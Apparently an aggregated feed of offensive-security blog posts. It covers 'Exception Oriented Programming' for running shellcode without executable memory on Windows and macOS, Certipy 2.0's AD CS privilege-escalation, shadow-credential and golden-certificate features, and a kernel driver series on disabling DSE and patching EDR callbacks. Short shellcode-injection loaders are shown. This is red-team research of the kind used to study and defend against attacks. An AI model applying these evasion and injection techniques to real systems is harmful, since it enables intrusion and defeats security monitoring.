In this section, we will explore how to use Vectored Exception Handlers (VEH) to implement the EOP theory. Vectored Exception Handlers are an extension to Structured Exception Handling on Windows and are not frame-based. VEH will be called for unhandled exceptions regardless of the exception's location.

The flow for the preparation stage of this implementation is as follows:

  1. The application will register a VEH via the AddVectoredExceptionHandler Windows API.
  2. The application will split each instruction of the given shellcode using any disassembler. For the example proof-of-concept, we will use the Zydis disassembler library.
  3. For each split instruction, the application will attempt to find an instance of that instruction present in the executable memory of any loaded modules. These memory locations will be stored for later use by the exception handler.
  4. The application will finish preparing by finding any instance of an int3 instruction (a single 0xCC byte). This instruction will be stored for use by the exception handler and is returned to the caller which will invoke the arbitrary shellcode.

Once the necessary memory locations have been found, the caller can invoke the arbitrary shellcode by executing the int3 instruction that was returned to them.

  1. Once the caller has invoked the int3 instruction, the exception handler will be called with the code STATUS_BREAKPOINT. The exception handler should determine if this exception is for executing arbitrary shellcode by comparing the exception address with the previously stored location of the int3 instruction.
  2. If the breakpoint is indeed for the arbitrary shellcode, then the exception handler should:
    1. Retrieve the list of legitimate instructions needed to simulate the arbitrary shellcode.
    2. Store these instructions in thread-local storage.
    3. Set the instruction pointer to the first legitimate instruction to execute.
    4. Set the Trap flag on the FLAGS register.
    5. Continue execution.
  3. The rest of the instructions will cause a STATUS_SINGLE_STEP exception. In these cases, the exception handler should:
    1. Retrieve the list of legitimate instructions to execute from the thread-local storage.
    2. Set the instruction pointer to the next legitimate instruction's memory location.
    3. If this instruction is not the last instruction to execute, set the Trap flag on the FLAGS register. Otherwise, do not set the Trap flag.
    4. Continue execution.

Assuming the shellcode ends with a return instruction, eventually the execution flow will be gracefully returned to the caller. A source code sample of Exception Oriented Programming through Vectored Exception Handlers is provided in a later section.

Structured Exception Handlers

Although Vectored Exception Handlers are great, they're not exactly stealthy. For example, an anti-virus could use user-mode hooks to detect when vectored exception handlers are registered. Obviously there are plenty of ways to bypass such mitigations, but if there are stealthier alternatives, why not give them a try?

One potential path I wanted to investigate for Exception Oriented Programming was using generic Structured Exception Handling (SEH). Given that VEH itself is an extension to SEH, why wouldn't frame-based SEH work too? Before we can dive into implementing Exception Oriented Programming with SEH, it's important to understand how SEH works.

void my_bad_code() {
    __try {
        __int3;
    } __except(EXCEPTION_EXECUTE_HANDLER) {
    	printf("Exception handler called!");
    }
}

Let's say you surround some code with a try/except SEH block. When an exception occurs in that code, how does the application know what exception handler to invoke?

Abusing Exceptions for Code Execution, Part 1
Exception Directory of ntdll.dll

Nowadays SEH exception handling information is compiled into the binary, specifically the exception directory, detailing what regions of code are protected by an exception handler. When an exception occurs, this table is enumerated during an "unwinding process", which checks if the code that caused the exception or any of the callers on the stack have an SEH exception handler.

An important principle of Exception Oriented Programming is that your exception handler must be able to catch exceptions in the legitimate code that is being abused. The problem with SEH? If a function is already protected by an SEH exception handler, then when an exception occurs, the exception may never reach the exception handler of the caller.

This presents a challenge for Exception Oriented Programming, how do you determine whether a given function is protected by an incompatible exception handler?

Fortunately, the mere presence of an exception handler does not mean a region of code cannot be used. Unless the function for some reason would create a single step exception during normal operation or the function has a "catch all" handler, we can still use code from many functions protected by an exception handler.

To determine if a region of memory is compatible with Exception Oriented Programing:

  1. Determine if the region of memory is registered as protected in the module's exception directory. This can be achieved by directly parsing the module or by using the function RtlLookupFunctionEntry, which searches for the exception directory entry for a given address.
  2. If the region of memory is not protected by an exception handler (aka RtlLookupFunctionEntry returns NULL), then you can use this region of memory with no problem.
  3. If the region of memory is protected by an exception handler, you must verify that the exception handler will not corrupt the stack. During the unwinding process, functions with an exception handler can define "unwind operations" to help clean up the stack from changes in the function's prolog. This can in turn corrupt the call stack when an exception is being handled.
    1. To avoid this problem, check if the unwind operations contains either the UWOP_ALLOC_LARGE operation or the UWOP_ALLOC_SMALL operation. These were found to cause direct corruption to the call stack during testing.

Once compatible instruction locations are found within legitimate modules, how do you actually perform the Exception Oriented Programming attack with SEH? It's surprisingly simple.

With SEH exception handling using a try except block, you can define both an exception filter and the handler itself. When an exception occurs in the protected try except block, the exception filter you define determines whether or not the exception should be passed to the handler itself. The filter is defined as a parameter to the __except block:

void my_bad_code() {
    __try {
        __int3;
    } __except(MyExceptionFilter()) {
    	printf("Exception handler called!");
    }
}

In the example above, the exception filter is the function MyExceptionFilter and the handler is the code that simply prints that it was called. When registering a vectored exception handler, the handler function must be of the prototype typedef LONG(NTAPI* ExceptionHandler_t)(PEXCEPTION_POINTERS ExceptionInfo).

It turns out that the prototype for exception filters is actually compatible with the prototype above. What does this mean? We can reuse the same exception handler we wrote for the VEH implementation of Exception Oriented Programming by using it as an exception filter.

void my_bad_code() {
    __try {
        __int3;
    } __except(VectoredExceptionHandler(GetExceptionInformation())) {
    	printf("Exception handler called!");
    }
}

In the code above, the vectored exception handler is invoked using the GetExceptionInformation macro, which provides the function the exception information structure it can both read and modify.

That's all that you need to do to get Exception Oriented Programming working with standard SEH! Besides ensuring that the instruction locations found are compatible, the vectored exception handler is directly compatible when used as an exception filter.

Why is standard SEH significantly better than using VEH for Exception Oriented Programming? SEH is built into the binary itself and is used legitimately everywhere. Unlike vectored exception handling, there is no global function to register your handler.

From the perspective of static detection, there are practically no indicators that a given SEH handler is used for Exception Oriented Programming. Although dynamic detection may be possible, it is significantly harder to implement compared to if you were using Vectored Exception Handlers.

Bypassing the macOS Hardened Runtime

Up to this point, the examples around abuse of the method have been largely around the Windows operating system. In this section, we will discuss how we can abuse Exception Oriented Programming to bypass security mitigations on macOS, specifically parts of the Hardened Runtime.

The macOS Hardened Runtime is intended to provide "runtime integrity of your software by preventing certain classes of exploits, like code injection, dynamically linked library (DLL) hijacking, and process memory space tampering".

One security mitigation imposed by the Hardened Runtime is the restriction of just-in-time (JIT) compilation. For app developers, these restrictions can be bypassed by adding entitlements to disable certain protections.

The com.apple.security.cs.allow-jit entitlement allows an application to allocate writable/executable (WX) pages by using the MAP_JIT flag. A second alternative, the com.apple.security.cs.allow-unsigned-executable-memory entitlement, allows the application to allocate WX pages without the need of the MAP_JIT flag. With Exception Oriented Programming however, an attacker can execute just-in-time shellcode without needing any entitlements.

The flow for the preparation stage of this implementation is as follows:

  1. The application will register a SIGTRAP signal handler using sigaction and the SA_SIGINFO flag.
  2. The application will split each instruction of the given shellcode using any disassembler. For the example proof-of-concept, we will use the Zydis disassembler library.
  3. For each split instruction, the application will attempt to find an instance of that instruction present in the executable memory of any loaded modules. Executable memory regions can be recursively enumerated using the mach_vm_region_recurse function. These memory locations will be stored for later use by the signal handler.
  4. The application will finish preparing by finding any instance of an int3 instruction (a single 0xCC byte). This instruction will be stored for use by the signal handler and is returned to the caller which will invoke the arbitrary shellcode.

Once the necessary memory locations have been found, the caller can invoke the arbitrary shellcode by executing the int3 instruction that was returned to them.

  1. Once the caller has invoked the int3 instruction, the signal handler will be called. The signal handler should determine if this exception is for executing arbitrary shellcode by comparing the fault address - 1 with the previously stored location of the int3 instruction. One must be subtracted from the fault address because in the SIGTRAP signal handler, the fault address points to the instruction pointer whereas we need the instruction that caused the exception.
  2. If the breakpoint is indeed for the arbitrary shellcode, then the signal handler should:
    1. Retrieve the list of legitimate instructions needed to simulate the arbitrary shellcode.
    2. Store these instructions in thread-local storage.
    3. Set the instruction pointer to the first legitimate instruction to execute.
    4. Set the Trap flag on the FLAGS register.
    5. Continue execution.
  3. The rest of the instructions will call the signal handler, however, unlike Vectored Exception handlers, there is no error code passed differentiating a breakpoint and a single step exception. The signal handler can determine if the exception is for a legitimate instruction being executed by checking its thread-local storage for the previously set context. In these cases, the signal handler should:
    1. Retrieve the list of legitimate instructions to execute from the thread-local storage.
    2. Set the instruction pointer to the next legitimate instruction's memory location.
    3. If this instruction is not the last instruction to execute, set the Trap flag on the FLAGS register. Otherwise, do not set the Trap flag.
    4. Continue execution.

Assuming the shellcode ends with a return instruction, eventually the execution flow will be gracefully returned to the caller.

Exception Oriented Programming highlights a fundamental design flaw with the JIT restrictions present in the Hardened Runtime. The JIT mitigation assumes that to execute code "just-in-time", an attacker must have access to a WX page. In reality, an attacker can abuse a large amount of the instructions already present in legitimate modules to execute their own malicious shellcode.

Proof of Concept

Both the Windows and macOS proof-of-concept utilities can be accessed at this repository.

Conclusion

As seen with the new methodology in this article, code execution can be achieved without the need of dedicated memory for that code. When considering future research into runtime code execution, it is more effective to look at execution from a high-level perspective, an objective of executing the operations in a piece of code, instead of focusing on the requirements of existing methodology.

In part 2 of this series, we will explore how Exception Oriented Programming expands the possibilities for buffer overflow exploitation on Windows. We'll explore how to evade Microsoft's ROP mitigations such as security cookies and SafeSEH for gaining code execution from common vulnerabilities. Make sure to follow my Twitter to be amongst the first to know when this article has been published!

Parallel Discovery

Recently, another researcher (@x86matthew) published an article describing a similar idea to Exception Oriented Programming, implemented using vectored exception handlers for x86.

Whenever my research leads me to some new methodology I consider innovative, one practice I take is to publish a SHA256 hash of the idea, such that in the future, I can prove that I discovered a certain idea at a certain point in time. Fortunately, I followed this practice for Exception Oriented Programming.

On February 3rd, 2021, I created a public gist of the follow SHA256 hash:

5169c2b0b13a9b713b3d388e61eb007672e2377afd53720a61231491a4b627f7

To prove that this hash is a representation of a message summarizing Exception Oriented Programming, here is the message you can take a SHA256 hash of and compare to the published one above.

Instead of allocating executable memory to execute shellcode, split the shellcode into individual instructions, find modules in memory that have the instruction bytes in an executable section, then single step over those instructions (changing the RIP to the next instruction and so on).

Since the core idea was published by Matthew, I wanted to share my additional research in this article around stealthier SEH exception handlers and how the impact is not only limited to Windows. In a future article, I plan on sharing my additional research on how this methodology can be applied on previously unexploitable buffer overflow vulnerabilities on Windows.

Object Overloading

15 February 2022 at 20:01
In this post we are going to look at one such technique that I thought was cool while playing around with the Windows Object Manager, and which should allow us to load an arbitrary DLL of our creation into a Windows process during initial execution, something that I've been calling "Object Overloading" for reasons which will hopefully become apparent in this post.

Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more!

19 February 2022 at 13:09

As the title states, the latest release of Certipy contains many new features, techniques and improvements. This blog post dives into the technical details of many of them.

Public Key Infrastructure can be difficult to set up. Users and administrators are often not fully aware of the implications of ticking a single checkbox — especially when that single checkbox is what (finally) made things work.

It’s been almost five months since the first release of Certipy. Back then, Certipy was just a small tool for abusing and enumerating Active Directory Certificate Services (AD CS) misconfigurations. Since then, our offensive team at Institut For Cyber Risk have come across many different AD CS environments during our engagements, which required new additions and features.

These have been implemented and Certipy 2.0 is now ready for public release.

BloodHound integration

One of the major new features of Certipy is BloodHound integration. The old version had a simple feature to find vulnerable certificate templates based on the current user’s group memberships. But as we’ll see in a bit, integrating with BloodHound is just better.

By default, the new version of Certipy will output the enumeration results in both BloodHound data as well as text- and JSON-format. I’ve often found myself running the tool multiple times because I wanted to view the output in a different format.

It is however possible to output only BloodHound data, JSON, or text by specifying one or more of the switches -bloodhound, -json, or -text, respectively.

The BloodHound data is saved as a ZIP-file that can be imported into the latest version of BloodHound (4.1.0 at the time of writing). Please note that Certipy uses BloodHound’s new format, introduced in version 4.

New edges and nodes means new queries. I have created the most important queries that Certipy supports. The queries can be found in the repository and imported into your own BloodHound setup.

Certipy’s BloodHound queries

The new version of Certipy can abuse all of the scenarios listed in the “Domain Escalation” category. Suppose we have taken over the domain user account JOHN. Let’s start with one of the first queries, “Shortest Paths to Misconfigured Certificate Templates from Owned Principals (ESC1)”.

Shortest Paths to Misconfigured Certificate Templates from Owned Principals (ESC1)

This is a fairly simple path. But as we go through the escalation queries, we might see why BloodHound is just better, as attack paths can be built, using the imported Certipy data.

Shortest Paths to Vulnerable Certificate Template Access Control from Owned Principals (ESC4)

New Escalation Techniques

The whitepaper “Certified Pre-Owned” lists 8 domain escalation techniques for misconfigurations in AD CS (ESC1-ESC8). Previously, only ESC1 and ESC6 were supported by Certipy, and ESC8 was supported by Impacket’s ntlmrelayx. While ESC1 and ESC8 are the vulnerabilities we’ve seen the most, we’ve also come across other misconfigurations, which is why I have implemented all of them, except for ESC5 which is too abstract.

As such, Certipy now supports abusing all of the escalation techniques listed in the queries.

ESC1 — Misconfigured Certificate Templates

Shortest Paths to Misconfigured Certificate Templates from Owned Principals (ESC1)

The most common misconfiguration we’ve seen during our engagements is ESC1. In essence, ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

The previous release of Certipy had support for this technique as well, but the new version comes with improvements, and therefore, I will demonstrate all of the escalation techniques that the new version of Certipy supports.

For ESC1, we can just request a certificate based on the vulnerable certificate template and specify an arbitrary SAN with the -alt parameter.

A new feature of Certipy is that certificates and private keys are now stored in PKCS#12 format. This allows us to pack the certificate and private key together in a standardized format.

Another neat feature is that the auth command will try to retrieve the domain and username from the certificate for authentication.

In most cases, this will not work, usually because the domain name cannot be resolved. To work around this, all the necessary parameters can be specified on the command line if needed.

ESC2 — Misconfigured Certificate Templates

Shortest Paths to Misconfigured Certificate Templates from Owned Principals (ESC2)

ESC2 is when a certificate template can be used for any purpose. The whitepaper “Certified Pre-Owned” does not mention any specific domain escalation technique that works out of the box for ESC2. But since the certificate can be used for any purpose, it can be used for the same technique as with ESC3, which we’ll see below.

ESC3 — Misconfigured Enrollment Agent Templates

Shortest Paths to Enrollment Agent Templates from Owned Principals (ESC3)

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users. As we can see in the path above, the ESC2 certificate template is vulnerable to ESC3 as well, since the ESC2 template can be used for any purpose.

First, let’s request a certificate based on ESC3.

With our new Certificate Request Agent certificate we can request certificates on behalf of other users by specifying the -on-behalf-of parameter along with our Certificate Request Agent certificate. The -on-behalf-of parameter value must be in the form of domain\user, and not the FQDN of the domain, i.e. corp rather than corp.local.

For good measure, here’s the same attack with the ESC2 certificate template.

ESC4 — Vulnerable Certificate Template Access Control

Shortest Paths to Vulnerable Certificate Template Access Control from Owned Principals (ESC4)

ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.

As we can see in the path above, only JOHNPC has these privileges, but our user JOHN has the new AddKeyCredentialLink edge to JOHNPC. Since this technique is related to certificates, I have implemented this attack as well, which is known as Shadow Credentials. Here’s a little sneak peak of Certipy’s shadow auto command to retrieve the NT hash of the victim.

We’ll go into more details about the technique later in this post, but for now, we just want the NT hash of JOHNPC.

The new version of Certipy can overwrite the configuration of a certificate template with a single command. By default, Certipy will overwrite the configuration to make it vulnerable to ESC1. We can also specify the -save-old parameter to save the old configuration, which will be useful for restoring the configuration after our attack. Be sure to do this, if using Certipy outside a test environment.

As we can see below, the new configuration will allow Authenticated Users full control over the certificate template. Moreover, the new template can be used for any purpose, and the enrollee supplies the SAN, meaning it’s vulnerable to ESC1.

When we’ve overwritten the configuration, we can simply request a certificate based on the ESC4 template as we would do with ESC1.

If we want to restore the configuration afterwards, we can just specify the path to the saved configuration with the -configuration parameter. You can also use this parameter to set custom configurations.

ESC5 — Vulnerable PKI Object Access Control

ESC5 is when objects outside of certificate templates and the certificate authority itself can have a security impact on the entire AD CS system, for instance the CA server’s AD computer object or the CA server’s RPC/DCOM server. This escalation technique has not been implemented in Certipy, because it’s too abstract. However, if the CA server is compromised, you can perform the ESC7 escalation.

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

Find Certificate Authorities with User Specified SAN (ESC6)

ESC6 is when the CA specifies the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. In essence, this flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template’s configuration. In Certipy, this can be seen in the property “User Specified SAN” of the CA. If this property is not shown, it means that Certipy couldn’t get the security and configuration of the CA.

The attack is the same as ESC1, except that we can choose any certificate template that permits client authentication.

ESC7 — Vulnerable Certificate Authority Access Control

Shortest Paths to Vulnerable Certificate Authority Access Control from Owned Principals (ESC7)

ESC7 is when a user has the Manage CA or Manage Certificates access right on a CA. While there are no public techniques that can abuse only the Manage Certificates access right for domain privilege escalation, we can still use it to issue or deny pending certificate requests.

We’ve seen this misconfiguration on one of our engagements. The whitepaper mentions that this access right can be used to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag to perform the ESC6 attack, but this will not have any effect until the CA service (CertSvc) is restarted. When a user has the Manage CA access right, the user is allowed to restart the service. However, it does not mean that the user can restart the service remotely and we were also not allowed to restart this service on our engagement.

In the following, I will explain a new technique I found that doesn’t require any service restarts or configuration changes.

In order for this technique to work, the user must also have the Manage Certificates access right, and the certificate template SubCA must be enabled. Fortunately, with our Manage CA access right, we can fulfill these prerequisites if needed.

If we don’t have the Manage Certificates access right, we can just add ourselves as a new “officer”. An officer is just the term for a user with the Manage Certificates access right, as per MS-CSRA 3.1.1.7.

After running a new Certipy enumeration with the find command, and importing the output into BloodHound, we should now see that JOHN has the Manage Certificates and Manage CA access right.

Shortest Paths to Vulnerable Certificate Authority Access Control from Owned Principals (ESC7)

The next requirement is that the default certificate template SubCA is enabled. We can list the enabled certificate templates on a CA with the -list-templates parameter, and in this case, the SubCA template is not enabled on our CA.

With our Manage CA access right, we can just enable the SubCA certificate template with the -enable-template parameter.

The SubCA certificate template is now enabled, and we’re ready to proceed with the new attack.

The SubCA certificate template is enabled by default, and it’s a built-in certificate template, which means that it cannot be deleted in the Certificate Templates Console (MMC).

The SubCA certificate template is interesting because it is vulnerable to ESC1 (Enrollee Supplies Subject and Client Authentication).

However, only DOMAIN ADMINS and ENTERPRISE ADMINS are allowed to enroll in the SubCA certificate template.

Show Enrollment Rights for Certificate Template

But if a user has the Manage CA access right and the Manage Certificates access right, the user can effectively issue failed certificate requests.

Let’s try to request a certificate based on the SubCA certificate template, where we specify the SAN [email protected].

We get a CERTSRV_E_TEMPLATE_DENIED error, meaning that we are not allowed to enroll in the template. Certipy will ask if we still want to save the private key for our request, and in this case, we answer “y” (for yes). Certipy also prints out the request ID, which we’ll use for issuing the certificate.

With our Manage CA and Manage Certificates access right, we can issue the failed certificate request with the ca command by specifying the request ID in -issue-request parameter.

When we’ve issued the certificate, we can now retrieve it with the req command by specifying the -retrieve parameter with our request ID.

It is now possible to use the certificate to obtain the password hash of the administrator account.

ESC8 — NTLM Relay to AD CS HTTP Endpoints

Find Certificate Authorities with HTTP Web Enrollment (ESC8)

ESC8 is when an Enrollment Service has installed and enabled HTTP Web Enrollment. This is attack is already implemented in Impacket’s ntlmrelayx, but I thought there was room for improvements and new features.

In Certipy, this vulnerability can be seen in the property “Web Enrollment” of the CA.

To start the relay server, we just run the relay command and specify the CA’s IP.

By default, Certipy will request a certificate based on the Machine or User template depending on whether the relayed account name ends with $. It is possible to specify another template with the -template parameter.

We can then use a technique such as PetitPotam to coerce authentication from a computer. In this example, I simply made a dir \\IP\foo\bar from an administrator command prompt.

Certipy will relay the NTLM authentication to the Web Enrollment interface of the CA and request a certificate for the user.

Now, let’s consider a scenario where all certificate requests must be approved by an officer, and we have the Manage Certificates access right.

In this scenario, Certipy will ask if we want to save the private key for our request. In this case, we answer yes.

With our Manage Certificates access right, we can issue the request based on the request ID.

We then start the relaying server again, but this time, we specify -retrieve with our request ID.

Certipy will retrieve the certificate based on the request ID rather than requesting a new one. This is an edge case, but I thought it was interesting to implement nonetheless.

Shadow Credentials

One of the new edges in BloodHound 4.1.0 is AddKeyCredentialLink.

Path from JOHN to JOHNPC

The attack has been dubbed Shadow Credentials, and it can be used for account takeover. As mentioned earlier, this technique is related to certificates, and therefore, I have implemented the attack in Certipy. We can also abuse this technique when we have a “Generic Write” privilege over another user and we don’t want to reset their password.

Auto

The command you’ll likely use the most is auto, which we saw earlier. In essence, Certipy will create and add a new Key Credential, authenticate with the certificate, and then restore the old Key Credential attribute of the account. This is useful if you just want the NT hash of the victim account, like in the previous ESC4 scenario.

Add

If you want to add a Key Credential manually for persistence, you can use the add action. This will add a new Key Credential and save the certificate and private key, which can be used later with Certipy’s auth command.

List

It is also possible to list the current Key Credentials of an account. This is useful for deleting or getting detailed information about a specific Key Credential.

Info

Information about a Key Credential can be retrieved with the info action, where the Key Credential can be specified with the -device-id.

Remove

To remove a Key Credential, you can use the remove action and specify the Key Credential in the -device-id parameter.

Clear

Alternatively, you can just clear all of the Key Credentials for the account if desired.

Golden Certificates

Another new major feature of Certipy is the ability to create “Golden Certificates”. This is a technique for domain persistence after compromising the CA server or domain. It’s an alternative to “Golden Tickets”, but instead of forging tickets, you can forge certificates that can be used for Kerberos authentication.

Backup

The first step is to get the certificate and private key of the CA. Suppose we have compromised the domain administrator administrator and we want to retrieve the certificate and private key of the CA. This can be done in the Certification Authority Console on the CA server, but I have implemented this in Certipy as well.

In essence, Certipy will create a new service on the CA server which will backup the certificate and private key to a predefined location. The certificate and private key will then be retrieved via SMB, and finally the service and files are removed from the server.

Forging

With the CA certificate and private key, we can use Certipy’s new forge command to create certificates for arbitrary users. In this case, we create a certificate for JOHN. The subject doesn’t matter in this case, just the SAN.

We can then use the certificate to authenticate as JOHN.

It also works for the domain controller DC$.

It does not, however, work for disabled accounts, such as the krbtgt account.

Other Improvements

The latest release of Certipy also contains a few minor improvements and adjustments.

Certificate Authority Management

We saw earlier how we could enable a certificate template. If we want to cleanup after ourselves, we can disable the template, as shown below.

We can also remove JOHN as an officer, but we’ll still have our Manage CA access rights.

As we can see below, if we try to perform the ESC7 attack now, we get an “access denied” when trying to issue the certificate.

JOHN can also add another manager, for instance JANE.

JANE can then add a third manager, EVE.

JANE can even remove herself as a manager.

But then she won’t be able to remove EVE as a manager.

Dynamic Endpoints

This is a minor, but important new feature. During one of our engagements, SMB was firewalled off on the CA server. The previous release of Certipy requested certificates via the named pipe cert, and when SMB was firewalled off, then the old version was not able to request certificates.

However, the CA service actually listens on a dynamic TCP endpoint as well. The new version of Certipy will try to connect to the dynamic TCP endpoint, if SMB fails.

Alternatively, you can specify the -dynamic-endpoint parameter to prefer the dynamic TCP endpoint over SMB. This is useful if you don’t want to wait for the timeout for each request when SMB is firewalled off.

For slower connections, such as through a proxy, it’s also possible to specify a longer timeout than the default 5 seconds for almost all types of commands with the -timeout parameter.

The new version of Certipy has many more improvements and parameters than I’ve shown in this blog post. I recommend that you explore the new features and parameters of Certipy if you find yourself in an unusual situation. If you have any issues or feature requests, I encourage you to submit them on Github. I hope you will enjoy the new version of Certipy.

The new version can be found here: https://github.com/ly4k/Certipy


Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more! was originally published in IFCR on Medium, where people are continuing the conversation by highlighting and responding to this story.

Kernel Karnage – Part 9 (Finishing Touches)

22 February 2022 at 13:03

It’s time for the season finale. In this post we explore several bypasses but also look at some mistakes made along the way.

1. From zero to hero: a quick recap

As promised in part 8, I spent some time converting the application to disable Driver Signature Enforcement (DSE) into a Beacon Object File (BOF) and adding in some extras, such as string obfuscation to hide very common string patterns like registry keys and constants from network inspection. I also changed some of the parameters to work with user input via CobaltWhispers instead of hardcoded values and replaced some notorious WIN32 API functions with their Windows Native API counterparts.

Once this was done, I started debugging the BOF and testing the full attack chain:

  • starting with the EarlyBird injector being executed as Administrator
  • disabling DSE using the BOF
  • deploying the Interceptor driver to cripple EDR/AV
  • running Mimikatz via Beacon.

The full attack is demonstrated below:

2. A BOF a day, keeps the doctor away

With my internship coming to an end, I decided to focus on Quality of Life updates for the InterceptorCLI as well as convert it into a Beacon Object File (BOF) in addition to the DisableDSE BOF, so that all the components may be executed in memory via Beacon.

The first big improvement is to rework the commands to be more intuitive and convenient. It’s now possible to provide multiple values to a command, making it much easier to patch multiple callbacks. Even if that’s too much manual labour, the -patch module command will take care of all callbacks associated with the provided drivers.

Next, I added support for vendor recognition and vendor based actions. The vendors and their associated driver modules are taken from SadProcessor’s Invoke-EDRCheck.ps1 and expanded by myself with modules I’ve come across during the internship. It’s now possible to automatically detect different EDR modules present on a target system and take action by automatically patching them using the -patch vendor command. An overview of all supported vendors can be obtained using the -list vendors command.

Finally, I converted the InterceptCLI client into a Beacon Object File (BOF), enhanced with direct syscalls and integrated in my CobaltWhispers framework.

3. Bigger fish to fry

With $vendor2 defeated, it’s also time to move on to more advanced testing. Thus far, I’ve only tested against consumer-grade Anti-Virus products and not enterprise EDR/AV platforms. I spent some time setting up and playing with $EDR-vendor1 and $EDR-vendor2.

To my surprise, once I had loaded the Interceptor driver, $EDR-vendor2 would detect a new driver has been loaded, most likely using ImageLoad callbacks, and refresh its own modules to restore protection and undo any potential tampering. Subsequently, any I/O requests to Interceptor are blocked by $EDR-vendor2 resulting in a "Access denied" message. The current version of InterceptorCLI makes use of various WIN32 API calls, including DeviceIoControl() to contact Interceptor. I suspect $EDR-vendor2 uses a minifilter to inspect and block I/O requests rather than relying on user land hooks, but I’ve yet to confirm this.

Contrary to $EDR-vendor2, I ran into issues getting $EDR-vendor1 to work properly with the $EDR-vendor1 platform and generate alerts, so I moved on to testing against $vendor3 and $EDR-vendor3. My main testing goal is the Interceptor driver itself and its ability to hinder the EDR/AV. The method of delivering and installing the driver is less relevant.

Initially, after patching all the callbacks associated with $vendor3, my EarlyBird-injector-spawned process would crash, resulting in no Beacon callback. The cause of the crash is klflt.sys, which I assume is $vendor3’s filesystem minifilter or at least part of it. I haven’t pinpointed the exact reason of the crash, but I suspect it is related to handle access rights.

When restoring klflt.sys callbacks, EarlyBird is executed and Beacon calls back successfully. However, after a notable delay, Beacon is detected and removed. Apart from detection upon execution, my EarlyBird injector is also flagged when scanned. I’ve used the same compiled version of my injector for several weeks against several different vendors, combined with other monitoring software like ProcessHacker2, it’s possible samples have been submitted and analyzed by different sandboxes.

In an attempt to get around klflt.sys, I decided to try a different injection approach and stick to my own process.

void main()
{
    const unsigned char shellcode[] = "";
	PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
	DWORD threadID;
	HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	WaitForSingleObject(hThread, INFINITE);
}

These 6 lines of primitive shellcode injection were successful in bypassing klflt.sys and executing Beacon.

4. Rookie mistakes

When I started my tests against $EDR-vendor3, the first thing that happened wasn’t alarms and sirens going off, it was a good old bluescreen. During my kernel callbacks patching journey, I never considered the possibility of faulty offset calculations. The code responsible for calculating offsets just happily adds up the addresses with the located offset and returns the result without any verification. This had worked fine on my Windows 10 build 19042 test machine, but failed on the $EDR-vendor3 machine which is a Windows 10 build 18362.

for (ULONG64 instructionAddr = funcAddr; instructionAddr < funcAddr + 0xff; instructionAddr++) {
	if (*(PUCHAR)instructionAddr == OPCODE_LEA_R13_1[g_WindowsIndex] && 
		*(PUCHAR)(instructionAddr + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] &&
		*(PUCHAR)(instructionAddr + 2) == OPCODE_LEA_R13_3[g_WindowsIndex]) {

		OffsetAddr = 0;
		memcpy(&OffsetAddr, (PUCHAR)(instructionAddr + 3), 4);
		return OffsetAddr + 7 + instructionAddr;
	}
}

If we look at the kernel base address 0xfffff807'81400000, we can expect the address of the kernel callback arrays to be in the same range as the first 8 most significant bits (0xfffff807).

However, comparing the debug output to the expected address, we can note that the return address (callback array address) 0xfffff808'81903ba0 differs from the expected return address 0xfffff807'81903ba0 by a value of 0x100000000 or compared to the kernel base address 0x100503ba0. The 8 most significant bits don’t match up.

The calculated offset we’re working with in this case is 0xffdab4f7. Following the original code, we add 0xffdab4f7 + 0x7 + 0xfffff80781b586a2 which yields the callback array address. This is where the issue resides. OffsetAddr is a ULONG64, in other words "unsigned long long" which comes down to 0x00000000'00000000 when initialized to 0; When the memcpy() instruction copies over the offset address bytes, the result becomes 0x00000000'ffdab4f7. To quickly solve this problem, I changed OffsetAddr to a LONG and added a function to verify the address calculation against the kernel base address.

ULONG64 VerifyOffsets(LONG OffsetAddr, ULONG64 InstructionAddr) {
	ULONG64 ReturnAddr = OffsetAddr + 7 + InstructionAddr;
	ULONG64 KernelBaseAddr = GetKernelBaseAddress();
	if (KernelBaseAddr != 0) {
		if (ReturnAddr - KernelBaseAddr > 0x1000000) {
			KdPrint((DRIVER_PREFIX "Mismatch between kernel base address and expected return address: %llx\n", ReturnAddr - KernelBaseAddr));
			return 0;
		}
		return ReturnAddr;
	}
	else {
		KdPrint((DRIVER_PREFIX "Unable to get kernel base address\n"));
		return 0;
	}
}

5. Final round

As expected, $EDR-vendor3 is a big step up from the regular consumer grade anti-virus products I’ve tested against thus far and the loader I’ve been using during this series doesn’t cut it anymore. Right around the time I started my tests I came across a tweet from @an0n_r0 discussing a semi-successful $EDR-vendor3 bypass, so I used this as base for my new stage 0 loader.

The loader is based on the simple remote code injection pattern using the VirtualAllocEx, WriteProcessMemory, VirtualProtectEx and CreateRemoteThread WIN32 APIs.

void* exec = fpVirtualAllocEx(hProcess, NULL, blenu, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

fpWriteProcessMemory(hProcess, exec, bufarr, blenu, NULL);

DWORD oldProtect;
fpVirtualProtectEx(hProcess, exec, blenu, PAGE_EXECUTE_READ, &oldProtect);

fpCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec, exec, 0, NULL);

I also incorporated dynamic function imports using hashed function names and CIG to protect the spawned suspended process against injection of non-Microsoft-signed binaries.

HANDLE SpawnProc() {
    STARTUPINFOEXA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T attributeSize;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

